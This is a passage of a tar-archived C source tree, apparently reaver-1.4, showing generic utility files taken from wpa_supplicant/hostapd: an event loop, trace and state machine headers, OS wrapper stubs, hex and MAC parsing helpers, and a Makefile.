eloop_remove_timeout(timeout); removed++; } } return removed; } int eloop_is_timeout_registered(eloop_timeout_handler handler, void *eloop_data, void *user_data) { struct eloop_timeout *tmp; dl_list_for_each(tmp, &eloop.timeout, struct eloop_timeout, list) { if (tmp->handler == handler && tmp->eloop_data == eloop_data && tmp->user_data == user_data) return 1; } return 0; } #ifndef CONFIG_NATIVE_WINDOWS static void eloop_handle_alarm(int sig) { wpa_printf(MSG_ERROR, "eloop: could not process SIGINT or SIGTERM in " "two seconds. Looks like there\n" "is a bug that ends up in a busy loop that " "prevents clean shutdown.\n" "Killing program forcefully.\n"); exit(1); } #endif /* CONFIG_NATIVE_WINDOWS */ static void eloop_handle_signal(int sig) { int i; #ifndef CONFIG_NATIVE_WINDOWS if ((sig == SIGINT || sig == SIGTERM) && !eloop.pending_terminate) { /* Use SIGALRM to break out from potential busy loops that * would not allow the program to be killed. */ eloop.pending_terminate = 1; signal(SIGALRM, eloop_handle_alarm); alarm(2); } #endif /* CONFIG_NATIVE_WINDOWS */ eloop.signaled++; for (i = 0; i < eloop.signal_count; i++) { if (eloop.signals[i].sig == sig) { eloop.signals[i].signaled++; break; } } } static void eloop_process_pending_signals(void) { int i; if (eloop.signaled == 0) return; eloop.signaled = 0; if (eloop.pending_terminate) { #ifndef CONFIG_NATIVE_WINDOWS alarm(0); #endif /* CONFIG_NATIVE_WINDOWS */ eloop.pending_terminate = 0; } for (i = 0; i < eloop.signal_count; i++) { if (eloop.signals[i].signaled) { eloop.signals[i].signaled = 0; eloop.signals[i].handler(eloop.signals[i].sig, eloop.signals[i].user_data); } } } int eloop_register_signal(int sig, eloop_signal_handler handler, void *user_data) { struct eloop_signal *tmp; tmp = (struct eloop_signal *) os_realloc(eloop.signals, (eloop.signal_count + 1) * sizeof(struct eloop_signal)); if (tmp == NULL) return -1; tmp[eloop.signal_count].sig = sig; tmp[eloop.signal_count].user_data = user_data; tmp[eloop.signal_count].handler = handler; tmp[eloop.signal_count].signaled = 0; eloop.signal_count++; eloop.signals = tmp; signal(sig, eloop_handle_signal); return 0; } int eloop_register_signal_terminate(eloop_signal_handler handler, void *user_data) { int ret = eloop_register_signal(SIGINT, handler, user_data); if (ret == 0) ret = eloop_register_signal(SIGTERM, handler, user_data); return ret; } int eloop_register_signal_reconfig(eloop_signal_handler handler, void *user_data) { #ifdef CONFIG_NATIVE_WINDOWS return 0; #else /* CONFIG_NATIVE_WINDOWS */ return eloop_register_signal(SIGHUP, handler, user_data); #endif /* CONFIG_NATIVE_WINDOWS */ } void eloop_run(void) { fd_set *rfds, *wfds, *efds; int res; struct timeval _tv; struct os_time tv, now; rfds = os_malloc(sizeof(*rfds)); wfds = os_malloc(sizeof(*wfds)); efds = os_malloc(sizeof(*efds)); if (rfds == NULL || wfds == NULL || efds == NULL) goto out; while (!eloop.terminate && (!dl_list_empty(&eloop.timeout) || eloop.readers.count > 0 || eloop.writers.count > 0 || eloop.exceptions.count > 0)) { struct eloop_timeout *timeout; timeout = dl_list_first(&eloop.timeout, struct eloop_timeout, list); if (timeout) { os_get_time(&now); if (os_time_before(&now, &timeout->time)) os_time_sub(&timeout->time, &now, &tv); else tv.sec = tv.usec = 0; _tv.tv_sec = tv.sec; _tv.tv_usec = tv.usec; } eloop_sock_table_set_fds(&eloop.readers, rfds); eloop_sock_table_set_fds(&eloop.writers, wfds); eloop_sock_table_set_fds(&eloop.exceptions, efds); res = select(eloop.max_sock + 1, rfds, wfds, efds, timeout ? &_tv : NULL); if (res < 0 && errno != EINTR && errno != 0) { perror("select"); goto out; } eloop_process_pending_signals(); /* check if some registered timeouts have occurred */ timeout = dl_list_first(&eloop.timeout, struct eloop_timeout, list); if (timeout) { os_get_time(&now); if (!os_time_before(&now, &timeout->time)) { void *eloop_data = timeout->eloop_data; void *user_data = timeout->user_data; eloop_timeout_handler handler = timeout->handler; eloop_remove_timeout(timeout); handler(eloop_data, user_data); } } if (res <= 0) continue; eloop_sock_table_dispatch(&eloop.readers, rfds); eloop_sock_table_dispatch(&eloop.writers, wfds); eloop_sock_table_dispatch(&eloop.exceptions, efds); } out: os_free(rfds); os_free(wfds); os_free(efds); } void eloop_terminate(void) { eloop.terminate = 1; } void eloop_destroy(void) { struct eloop_timeout *timeout, *prev; struct os_time now; os_get_time(&now); dl_list_for_each_safe(timeout, prev, &eloop.timeout, struct eloop_timeout, list) { int sec, usec; sec = timeout->time.sec - now.sec; usec = timeout->time.usec - now.usec; if (timeout->time.usec < now.usec) { sec--; usec += 1000000; } wpa_printf(MSG_INFO, "ELOOP: remaining timeout: %d.%06d " "eloop_data=%p user_data=%p handler=%p", sec, usec, timeout->eloop_data, timeout->user_data, timeout->handler); wpa_trace_dump_funcname("eloop unregistered timeout handler", timeout->handler); wpa_trace_dump("eloop timeout", timeout); eloop_remove_timeout(timeout); } eloop_sock_table_destroy(&eloop.readers); eloop_sock_table_destroy(&eloop.writers); eloop_sock_table_destroy(&eloop.exceptions); os_free(eloop.signals); } int eloop_terminated(void) { return eloop.terminate; } void eloop_wait_for_read_sock(int sock) { fd_set rfds; if (sock < 0) return; FD_ZERO(&rfds); FD_SET(sock, &rfds); select(sock + 1, &rfds, NULL, NULL, NULL); } reaver-1.4/src/utils/trace.h0000755000175000017500000000400711705505257015405 0ustar reaverreaver/* * Backtrace debugging * Copyright (c) 2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef TRACE_H #define TRACE_H #define WPA_TRACE_LEN 16 #ifdef WPA_TRACE #include #include "list.h" #define WPA_TRACE_INFO void *btrace[WPA_TRACE_LEN]; int btrace_num; struct wpa_trace_ref { struct dl_list list; const void *addr; WPA_TRACE_INFO }; #define WPA_TRACE_REF(name) struct wpa_trace_ref wpa_trace_ref_##name #define wpa_trace_dump(title, ptr) \ wpa_trace_dump_func((title), (ptr)->btrace, (ptr)->btrace_num) void wpa_trace_dump_func(const char *title, void **btrace, int btrace_num); #define wpa_trace_record(ptr) \ (ptr)->btrace_num = backtrace((ptr)->btrace, WPA_TRACE_LEN) void wpa_trace_show(const char *title); #define wpa_trace_add_ref(ptr, name, addr) \ wpa_trace_add_ref_func(&(ptr)->wpa_trace_ref_##name, (addr)) void wpa_trace_add_ref_func(struct wpa_trace_ref *ref, const void *addr); #define wpa_trace_remove_ref(ptr, name, addr) \ do { \ if ((addr)) \ dl_list_del(&(ptr)->wpa_trace_ref_##name.list); \ } while (0) void wpa_trace_check_ref(const void *addr); #else /* WPA_TRACE */ #define WPA_TRACE_INFO #define WPA_TRACE_REF(n) #define wpa_trace_dump(title, ptr) do { } while (0) #define wpa_trace_record(ptr) do { } while (0) #define wpa_trace_show(title) do { } while (0) #define wpa_trace_add_ref(ptr, name, addr) do { } while (0) #define wpa_trace_remove_ref(ptr, name, addr) do { } while (0) #define wpa_trace_check_ref(addr) do { } while (0) #endif /* WPA_TRACE */ #ifdef WPA_TRACE_BFD void wpa_trace_dump_funcname(const char *title, void *pc); #else /* WPA_TRACE_BFD */ #define wpa_trace_dump_funcname(title, pc) do { } while (0) #endif /* WPA_TRACE_BFD */ #endif /* TRACE_H */ reaver-1.4/src/utils/Makefile0000755000175000017500000000076311705505257015603 0ustar reaverreaverall: libutils.a clean: rm -f *~ *.o *.d libutils.a install: @echo Nothing to be made. include ../common/lib.rules #CFLAGS += -DWPA_TRACE CFLAGS += -DCONFIG_IPV6 LIB_OBJS= \ base64.o \ common.o \ ip_addr.o \ radiotap.o \ trace.o \ uuid.o \ wpa_debug.o \ wpabuf.o # Pick correct OS wrapper implementation LIB_OBJS += os_unix.o # Pick correct event loop implementation LIB_OBJS += eloop.o #LIB_OBJS += pcsc_funcs.o libutils.a: $(LIB_OBJS) $(AR) crT $@ $? -include $(OBJS:%.o=%.d) reaver-1.4/src/utils/ip_addr.h0000755000175000017500000000160611705505257015713 0ustar reaverreaver/* * IP address processing * Copyright (c) 2003-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef IP_ADDR_H #define IP_ADDR_H struct hostapd_ip_addr { int af; /* AF_INET / AF_INET6 */ union { struct in_addr v4; #ifdef CONFIG_IPV6 struct in6_addr v6; #endif /* CONFIG_IPV6 */ u8 max_len[16]; } u; }; const char * hostapd_ip_txt(const struct hostapd_ip_addr *addr, char *buf, size_t buflen); int hostapd_ip_diff(struct hostapd_ip_addr *a, struct hostapd_ip_addr *b); int hostapd_parse_ip_addr(const char *txt, struct hostapd_ip_addr *addr); #endif /* IP_ADDR_H */ reaver-1.4/src/utils/eloop_none.c0000755000175000017500000001754011705505257016445 0ustar reaverreaver/* * Event loop - empty template (basic structure, but no OS specific operations) * Copyright (c) 2002-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "eloop.h" struct eloop_sock { int sock; void *eloop_data; void *user_data; void (*handler)(int sock, void *eloop_ctx, void *sock_ctx); }; struct eloop_timeout { struct os_time time; void *eloop_data; void *user_data; void (*handler)(void *eloop_ctx, void *sock_ctx); struct eloop_timeout *next; }; struct eloop_signal { int sig; void *user_data; void (*handler)(int sig, void *eloop_ctx, void *signal_ctx); int signaled; }; struct eloop_data { int max_sock, reader_count; struct eloop_sock *readers; struct eloop_timeout *timeout; int signal_count; struct eloop_signal *signals; int signaled; int pending_terminate; int terminate; int reader_table_changed; }; static struct eloop_data eloop; int eloop_init(void) { memset(&eloop, 0, sizeof(eloop)); return 0; } int eloop_register_read_sock(int sock, void (*handler)(int sock, void *eloop_ctx, void *sock_ctx), void *eloop_data, void *user_data) { struct eloop_sock *tmp; tmp = (struct eloop_sock *) realloc(eloop.readers, (eloop.reader_count + 1) * sizeof(struct eloop_sock)); if (tmp == NULL) return -1; tmp[eloop.reader_count].sock = sock; tmp[eloop.reader_count].eloop_data = eloop_data; tmp[eloop.reader_count].user_data = user_data; tmp[eloop.reader_count].handler = handler; eloop.reader_count++; eloop.readers = tmp; if (sock > eloop.max_sock) eloop.max_sock = sock; eloop.reader_table_changed = 1; return 0; } void eloop_unregister_read_sock(int sock) { int i; if (eloop.readers == NULL || eloop.reader_count == 0) return; for (i = 0; i < eloop.reader_count; i++) { if (eloop.readers[i].sock == sock) break; } if (i == eloop.reader_count) return; if (i != eloop.reader_count - 1) { memmove(&eloop.readers[i], &eloop.readers[i + 1], (eloop.reader_count - i - 1) * sizeof(struct eloop_sock)); } eloop.reader_count--; eloop.reader_table_changed = 1; } int eloop_register_timeout(unsigned int secs, unsigned int usecs, void (*handler)(void *eloop_ctx, void *timeout_ctx), void *eloop_data, void *user_data) { struct eloop_timeout *timeout, *tmp, *prev; timeout = (struct eloop_timeout *) malloc(sizeof(*timeout)); if (timeout == NULL) return -1; os_get_time(&timeout->time); timeout->time.sec += secs; timeout->time.usec += usecs; while (timeout->time.usec >= 1000000) { timeout->time.sec++; timeout->time.usec -= 1000000; } timeout->eloop_data = eloop_data; timeout->user_data = user_data; timeout->handler = handler; timeout->next = NULL; if (eloop.timeout == NULL) { eloop.timeout = timeout; return 0; } prev = NULL; tmp = eloop.timeout; while (tmp != NULL) { if (os_time_before(&timeout->time, &tmp->time)) break; prev = tmp; tmp = tmp->next; } if (prev == NULL) { timeout->next = eloop.timeout; eloop.timeout = timeout; } else { timeout->next = prev->next; prev->next = timeout; } return 0; } int eloop_cancel_timeout(void (*handler)(void *eloop_ctx, void *sock_ctx), void *eloop_data, void *user_data) { struct eloop_timeout *timeout, *prev, *next; int removed = 0; prev = NULL; timeout = eloop.timeout; while (timeout != NULL) { next = timeout->next; if (timeout->handler == handler && (timeout->eloop_data == eloop_data || eloop_data == ELOOP_ALL_CTX) && (timeout->user_data == user_data || user_data == ELOOP_ALL_CTX)) { if (prev == NULL) eloop.timeout = next; else prev->next = next; free(timeout); removed++; } else prev = timeout; timeout = next; } return removed; } int eloop_is_timeout_registered(void (*handler)(void *eloop_ctx, void *timeout_ctx), void *eloop_data, void *user_data) { struct eloop_timeout *tmp; tmp = eloop.timeout; while (tmp != NULL) { if (tmp->handler == handler && tmp->eloop_data == eloop_data && tmp->user_data == user_data) return 1; tmp = tmp->next; } return 0; } /* TODO: replace with suitable signal handler */ #if 0 static void eloop_handle_signal(int sig) { int i; eloop.signaled++; for (i = 0; i < eloop.signal_count; i++) { if (eloop.signals[i].sig == sig) { eloop.signals[i].signaled++; break; } } } #endif static void eloop_process_pending_signals(void) { int i; if (eloop.signaled == 0) return; eloop.signaled = 0; if (eloop.pending_terminate) { eloop.pending_terminate = 0; } for (i = 0; i < eloop.signal_count; i++) { if (eloop.signals[i].signaled) { eloop.signals[i].signaled = 0; eloop.signals[i].handler(eloop.signals[i].sig, eloop.user_data, eloop.signals[i].user_data); } } } int eloop_register_signal(int sig, void (*handler)(int sig, void *eloop_ctx, void *signal_ctx), void *user_data) { struct eloop_signal *tmp; tmp = (struct eloop_signal *) realloc(eloop.signals, (eloop.signal_count + 1) * sizeof(struct eloop_signal)); if (tmp == NULL) return -1; tmp[eloop.signal_count].sig = sig; tmp[eloop.signal_count].user_data = user_data; tmp[eloop.signal_count].handler = handler; tmp[eloop.signal_count].signaled = 0; eloop.signal_count++; eloop.signals = tmp; /* TODO: register signal handler */ return 0; } int eloop_register_signal_terminate(void (*handler)(int sig, void *eloop_ctx, void *signal_ctx), void *user_data) { #if 0 /* TODO: for example */ int ret = eloop_register_signal(SIGINT, handler, user_data); if (ret == 0) ret = eloop_register_signal(SIGTERM, handler, user_data); return ret; #endif return 0; } int eloop_register_signal_reconfig(void (*handler)(int sig, void *eloop_ctx, void *signal_ctx), void *user_data) { #if 0 /* TODO: for example */ return eloop_register_signal(SIGHUP, handler, user_data); #endif return 0; } void eloop_run(void) { int i; struct os_time tv, now; while (!eloop.terminate && (eloop.timeout || eloop.reader_count > 0)) { if (eloop.timeout) { os_get_time(&now); if (os_time_before(&now, &eloop.timeout->time)) os_time_sub(&eloop.timeout->time, &now, &tv); else tv.sec = tv.usec = 0; } /* * TODO: wait for any event (read socket ready, timeout (tv), * signal */ os_sleep(1, 0); /* just a dummy wait for testing */ eloop_process_pending_signals(); /* check if some registered timeouts have occurred */ if (eloop.timeout) { struct eloop_timeout *tmp; os_get_time(&now); if (!os_time_before(&now, &eloop.timeout->time)) { tmp = eloop.timeout; eloop.timeout = eloop.timeout->next; tmp->handler(tmp->eloop_data, tmp->user_data); free(tmp); } } eloop.reader_table_changed = 0; for (i = 0; i < eloop.reader_count; i++) { /* * TODO: call each handler that has pending data to * read */ if (0 /* TODO: eloop.readers[i].sock ready */) { eloop.readers[i].handler( eloop.readers[i].sock, eloop.readers[i].eloop_data, eloop.readers[i].user_data); if (eloop.reader_table_changed) break; } } } } void eloop_terminate(void) { eloop.terminate = 1; } void eloop_destroy(void) { struct eloop_timeout *timeout, *prev; timeout = eloop.timeout; while (timeout != NULL) { prev = timeout; timeout = timeout->next; free(prev); } free(eloop.readers); free(eloop.signals); } int eloop_terminated(void) { return eloop.terminate; } void eloop_wait_for_read_sock(int sock) { /* * TODO: wait for the file descriptor to have something available for * reading */ } reaver-1.4/src/utils/os_none.c0000755000175000017500000000631111705505257015742 0ustar reaverreaver/* * wpa_supplicant/hostapd / Empty OS specific functions * Copyright (c) 2005-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. * * This file can be used as a starting point when adding a new OS target. The * functions here do not really work as-is since they are just empty or only * return an error value. os_internal.c can be used as another starting point * or reference since it has example implementation of many of these functions. */ #include "includes.h" #include "os.h" void os_sleep(os_time_t sec, os_time_t usec) { } int os_get_time(struct os_time *t) { return -1; } int os_mktime(int year, int month, int day, int hour, int min, int sec, os_time_t *t) { return -1; } int os_daemonize(const char *pid_file) { return -1; } void os_daemonize_terminate(const char *pid_file) { } int os_get_random(unsigned char *buf, size_t len) { return -1; } unsigned long os_random(void) { return 0; } char * os_rel2abs_path(const char *rel_path) { return NULL; /* strdup(rel_path) can be used here */ } int os_program_init(void) { return 0; } void os_program_deinit(void) { } int os_setenv(const char *name, const char *value, int overwrite) { return -1; } int os_unsetenv(const char *name) { return -1; } char * os_readfile(const char *name, size_t *len) { return NULL; } void * os_zalloc(size_t size) { return NULL; } #ifdef OS_NO_C_LIB_DEFINES void * os_malloc(size_t size) { return NULL; } void * os_realloc(void *ptr, size_t size) { return NULL; } void os_free(void *ptr) { } void * os_memcpy(void *dest, const void *src, size_t n) { return dest; } void * os_memmove(void *dest, const void *src, size_t n) { return dest; } void * os_memset(void *s, int c, size_t n) { return s; } int os_memcmp(const void *s1, const void *s2, size_t n) { return 0; } char * os_strdup(const char *s) { return NULL; } size_t os_strlen(const char *s) { return 0; } int os_strcasecmp(const char *s1, const char *s2) { /* * Ignoring case is not required for main functionality, so just use * the case sensitive version of the function. */ return os_strcmp(s1, s2); } int os_strncasecmp(const char *s1, const char *s2, size_t n) { /* * Ignoring case is not required for main functionality, so just use * the case sensitive version of the function. */ return os_strncmp(s1, s2, n); } char * os_strchr(const char *s, int c) { return NULL; } char * os_strrchr(const char *s, int c) { return NULL; } int os_strcmp(const char *s1, const char *s2) { return 0; } int os_strncmp(const char *s1, const char *s2, size_t n) { return 0; } char * os_strncpy(char *dest, const char *src, size_t n) { return dest; } size_t os_strlcpy(char *dest, const char *src, size_t size) { return 0; } char * os_strstr(const char *haystack, const char *needle) { return NULL; } int os_snprintf(char *str, size_t size, const char *format, ...) { return 0; } #endif /* OS_NO_C_LIB_DEFINES */ reaver-1.4/src/utils/common.c0000755000175000017500000001740011705505257015573 0ustar reaverreaver/* * wpa_supplicant/hostapd / common helper functions, etc. * Copyright (c) 2002-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hex2byte(const char *hex) { int a, b; a = hex2num(*hex++); if (a < 0) return -1; b = hex2num(*hex++); if (b < 0) return -1; return (a << 4) | b; } /** * hwaddr_aton - Convert ASCII string to MAC address (colon-delimited format) * @txt: MAC address as a string (e.g., "00:11:22:33:44:55") * @addr: Buffer for the MAC address (ETH_ALEN = 6 bytes) * Returns: 0 on success, -1 on failure (e.g., string not a MAC address) */ int hwaddr_aton(const char *txt, u8 *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } /** * hwaddr_aton2 - Convert ASCII string to MAC address (in any known format) * @txt: MAC address as a string (e.g., 00:11:22:33:44:55 or 0011.2233.4455) * @addr: Buffer for the MAC address (ETH_ALEN = 6 bytes) * Returns: Characters used (> 0) on success, -1 on failure */ int hwaddr_aton2(const char *txt, u8 *addr) { int i; const char *pos = txt; for (i = 0; i < 6; i++) { int a, b; while (*pos == ':' || *pos == '.' || *pos == '-') pos++; a = hex2num(*pos++); if (a < 0) return -1; b = hex2num(*pos++); if (b < 0) return -1; *addr++ = (a << 4) | b; } return pos - txt; } /** * hexstr2bin - Convert ASCII hex string into binary data * @hex: ASCII hex string (e.g., "01ab") * @buf: Buffer for the binary data * @len: Length of the text to convert in bytes (of buf); hex will be double * this size * Returns: 0 on success, -1 on failure (invalid hex string) */ int hexstr2bin(const char *hex, u8 *buf, size_t len) { size_t i; int a; const char *ipos = hex; u8 *opos = buf; for (i = 0; i < len; i++) { a = hex2byte(ipos); if (a < 0) return -1; *opos++ = a; ipos += 2; } return 0; } /** * inc_byte_array - Increment arbitrary length byte array by one * @counter: Pointer to byte array * @len: Length of the counter in bytes * * This function increments the last byte of the counter by one and continues * rolling over to more significant bytes if the byte was incremented from * 0xff to 0x00. */ void inc_byte_array(u8 *counter, size_t len) { int pos = len - 1; while (pos >= 0) { counter[pos]++; if (counter[pos] != 0) break; pos--; } } void wpa_get_ntp_timestamp(u8 *buf) { struct os_time now; u32 sec, usec; be32 tmp; /* 64-bit NTP timestamp (time from 1900-01-01 00:00:00) */ os_get_time(&now); sec = now.sec + 2208988800U; /* Epoch to 1900 */ /* Estimate 2^32/10^6 = 4295 - 1/32 - 1/512 */ usec = now.usec; usec = 4295 * usec - (usec >> 5) - (usec >> 9); tmp = host_to_be32(sec); os_memcpy(buf, (u8 *) &tmp, 4); tmp = host_to_be32(usec); os_memcpy(buf + 4, (u8 *) &tmp, 4); } static inline int _wpa_snprintf_hex(char *buf, size_t buf_size, const u8 *data, size_t len, int uppercase) { size_t i; char *pos = buf, *end = buf + buf_size; int ret; if (buf_size == 0) return 0; for (i = 0; i < len; i++) { ret = os_snprintf(pos, end - pos, uppercase ? "%02X" : "%02x", data[i]); if (ret < 0 || ret >= end - pos) { end[-1] = '\0'; return pos - buf; } pos += ret; } end[-1] = '\0'; return pos - buf; } /** * wpa_snprintf_hex - Print data as a hex string into a buffer * @buf: Memory area to use as the output buffer * @buf_size: Maximum buffer size in bytes (should be at least 2 * len + 1) * @data: Data to be printed * @len: Length of data in bytes * Returns: Number of bytes written */ int wpa_snprintf_hex(char *buf, size_t buf_size, const u8 *data, size_t len) { return _wpa_snprintf_hex(buf, buf_size, data, len, 0); } /** * wpa_snprintf_hex_uppercase - Print data as a upper case hex string into buf * @buf: Memory area to use as the output buffer * @buf_size: Maximum buffer size in bytes (should be at least 2 * len + 1) * @data: Data to be printed * @len: Length of data in bytes * Returns: Number of bytes written */ int wpa_snprintf_hex_uppercase(char *buf, size_t buf_size, const u8 *data, size_t len) { return _wpa_snprintf_hex(buf, buf_size, data, len, 1); } #ifdef CONFIG_ANSI_C_EXTRA #ifdef _WIN32_WCE void perror(const char *s) { wpa_printf(MSG_ERROR, "%s: GetLastError: %d", s, (int) GetLastError()); } #endif /* _WIN32_WCE */ int optind = 1; int optopt; char *optarg; int getopt(int argc, char *const argv[], const char *optstring) { static int optchr = 1; char *cp; if (optchr == 1) { if (optind >= argc) { /* all arguments processed */ return EOF; } if (argv[optind][0] != '-' || argv[optind][1] == '\0') { /* no option characters */ return EOF; } } if (os_strcmp(argv[optind], "--") == 0) { /* no more options */ optind++; return EOF; } optopt = argv[optind][optchr]; cp = os_strchr(optstring, optopt); if (cp == NULL || optopt == ':') { if (argv[optind][++optchr] == '\0') { optchr = 1; optind++; } return '?'; } if (cp[1] == ':') { /* Argument required */ optchr = 1; if (argv[optind][optchr + 1]) { /* No space between option and argument */ optarg = &argv[optind++][optchr + 1]; } else if (++optind >= argc) { /* option requires an argument */ return '?'; } else { /* Argument in the next argv */ optarg = argv[optind++]; } } else { /* No argument */ if (argv[optind][++optchr] == '\0') { optchr = 1; optind++; } optarg = NULL; } return *cp; } #endif /* CONFIG_ANSI_C_EXTRA */ #ifdef CONFIG_NATIVE_WINDOWS /** * wpa_unicode2ascii_inplace - Convert unicode string into ASCII * @str: Pointer to string to convert * * This function converts a unicode string to ASCII using the same * buffer for output. If UNICODE is not set, the buffer is not * modified. */ void wpa_unicode2ascii_inplace(TCHAR *str) { #ifdef UNICODE char *dst = (char *) str; while (*str) *dst++ = (char) *str++; *dst = '\0'; #endif /* UNICODE */ } TCHAR * wpa_strdup_tchar(const char *str) { #ifdef UNICODE TCHAR *buf; buf = os_malloc((strlen(str) + 1) * sizeof(TCHAR)); if (buf == NULL) return NULL; wsprintf(buf, L"%S", str); return buf; #else /* UNICODE */ return os_strdup(str); #endif /* UNICODE */ } #endif /* CONFIG_NATIVE_WINDOWS */ /** * wpa_ssid_txt - Convert SSID to a printable string * @ssid: SSID (32-octet string) * @ssid_len: Length of ssid in octets * Returns: Pointer to a printable string * * This function can be used to convert SSIDs into printable form. In most * cases, SSIDs do not use unprintable characters, but IEEE 802.11 standard * does not limit the used character set, so anything could be used in an SSID. * * This function uses a static buffer, so only one call can be used at the * time, i.e., this is not re-entrant and the returned buffer must be used * before calling this again. */ const char * wpa_ssid_txt(const u8 *ssid, size_t ssid_len) { static char ssid_txt[33]; char *pos; if (ssid_len > 32) ssid_len = 32; os_memcpy(ssid_txt, ssid, ssid_len); ssid_txt[ssid_len] = '\0'; for (pos = ssid_txt; *pos != '\0'; pos++) { if ((u8) *pos < 32 || (u8) *pos >= 127) *pos = '_'; } return ssid_txt; } void * __hide_aliasing_typecast(void *foo) { return foo; } reaver-1.4/src/utils/state_machine.h0000755000175000017500000001273011705505257017115 0ustar reaverreaver/* * wpa_supplicant/hostapd - State machine definitions * Copyright (c) 2002-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. * * This file includes a set of pre-processor macros that can be used to * implement a state machine. In addition to including this header file, each * file implementing a state machine must define STATE_MACHINE_DATA to be the * data structure including state variables (enum machine_state, * Boolean changed), and STATE_MACHINE_DEBUG_PREFIX to be a string that is used * as a prefix for all debug messages. If SM_ENTRY_MA macro is used to define * a group of state machines with shared data structure, STATE_MACHINE_ADDR * needs to be defined to point to the MAC address used in debug output. * SM_ENTRY_M macro can be used to define similar group of state machines * without this additional debug info. */ #ifndef STATE_MACHINE_H #define STATE_MACHINE_H /** * SM_STATE - Declaration of a state machine function * @machine: State machine name * @state: State machine state * * This macro is used to declare a state machine function. It is used in place * of a C function definition to declare functions to be run when the state is * entered by calling SM_ENTER or SM_ENTER_GLOBAL. */ #define SM_STATE(machine, state) \ static void sm_ ## machine ## _ ## state ## _Enter(STATE_MACHINE_DATA *sm, \ int global) /** * SM_ENTRY - State machine function entry point * @machine: State machine name * @state: State machine state * * This macro is used inside each state machine function declared with * SM_STATE. SM_ENTRY should be in the beginning of the function body, but * after declaration of possible local variables. This macro prints debug * information about state transition and update the state machine state. */ #define SM_ENTRY(machine, state) \ if (!global || sm->machine ## _state != machine ## _ ## state) { \ sm->changed = TRUE; \ wpa_printf(MSG_DEBUG, STATE_MACHINE_DEBUG_PREFIX ": " #machine \ " entering state " #state); \ } \ sm->machine ## _state = machine ## _ ## state; /** * SM_ENTRY_M - State machine function entry point for state machine group * @machine: State machine name * @_state: State machine state * @data: State variable prefix (full variable: prefix_state) * * This macro is like SM_ENTRY, but for state machine groups that use a shared * data structure for more than one state machine. Both machine and prefix * parameters are set to "sub-state machine" name. prefix is used to allow more * than one state variable to be stored in the same data structure. */ #define SM_ENTRY_M(machine, _state, data) \ if (!global || sm->data ## _ ## state != machine ## _ ## _state) { \ sm->changed = TRUE; \ wpa_printf(MSG_DEBUG, STATE_MACHINE_DEBUG_PREFIX ": " \ #machine " entering state " #_state); \ } \ sm->data ## _ ## state = machine ## _ ## _state; /** * SM_ENTRY_MA - State machine function entry point for state machine group * @machine: State machine name * @_state: State machine state * @data: State variable prefix (full variable: prefix_state) * * This macro is like SM_ENTRY_M, but a MAC address is included in debug * output. STATE_MACHINE_ADDR has to be defined to point to the MAC address to * be included in debug. */ #define SM_ENTRY_MA(machine, _state, data) \ if (!global || sm->data ## _ ## state != machine ## _ ## _state) { \ sm->changed = TRUE; \ wpa_printf(MSG_DEBUG, STATE_MACHINE_DEBUG_PREFIX ": " MACSTR " " \ #machine " entering state " #_state, \ MAC2STR(STATE_MACHINE_ADDR)); \ } \ sm->data ## _ ## state = machine ## _ ## _state; /** * SM_ENTER - Enter a new state machine state * @machine: State machine name * @state: State machine state * * This macro expands to a function call to a state machine function defined * with SM_STATE macro. SM_ENTER is used in a state machine step function to * move the state machine to a new state. */ #define SM_ENTER(machine, state) \ sm_ ## machine ## _ ## state ## _Enter(sm, 0) /** * SM_ENTER_GLOBAL - Enter a new state machine state based on global rule * @machine: State machine name * @state: State machine state * * This macro is like SM_ENTER, but this is used when entering a new state * based on a global (not specific to any particular state) rule. A separate * macro is used to avoid unwanted debug message floods when the same global * rule is forcing a state machine to remain in on state. */ #define SM_ENTER_GLOBAL(machine, state) \ sm_ ## machine ## _ ## state ## _Enter(sm, 1) /** * SM_STEP - Declaration of a state machine step function * @machine: State machine name * * This macro is used to declare a state machine step function. It is used in * place of a C function definition to declare a function that is used to move * state machine to a new state based on state variables. This function uses * SM_ENTER and SM_ENTER_GLOBAL macros to enter new state. */ #define SM_STEP(machine) \ static void sm_ ## machine ## _Step(STATE_MACHINE_DATA *sm) /** * SM_STEP_RUN - Call the state machine step function * @machine: State machine name * * This macro expands to a function call to a state machine step function * defined with SM_STEP macro. */ #define SM_STEP_RUN(machine) sm_ ## machine ## _Step(sm) #endif /* STATE_MACHINE_H */ reaver-1.4/src/utils/os_win32.c0000755000175000017500000000734011705505257015750 0ustar reaverreaver/* * wpa_supplicant/hostapd / OS specific functions for Win32 systems * Copyright (c) 2005-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include #include #include "os.h" void os_sleep(os_time_t sec, os_time_t usec) { if (sec) Sleep(sec * 1000); if (usec) Sleep(usec / 1000); } int os_get_time(struct os_time *t) { #define 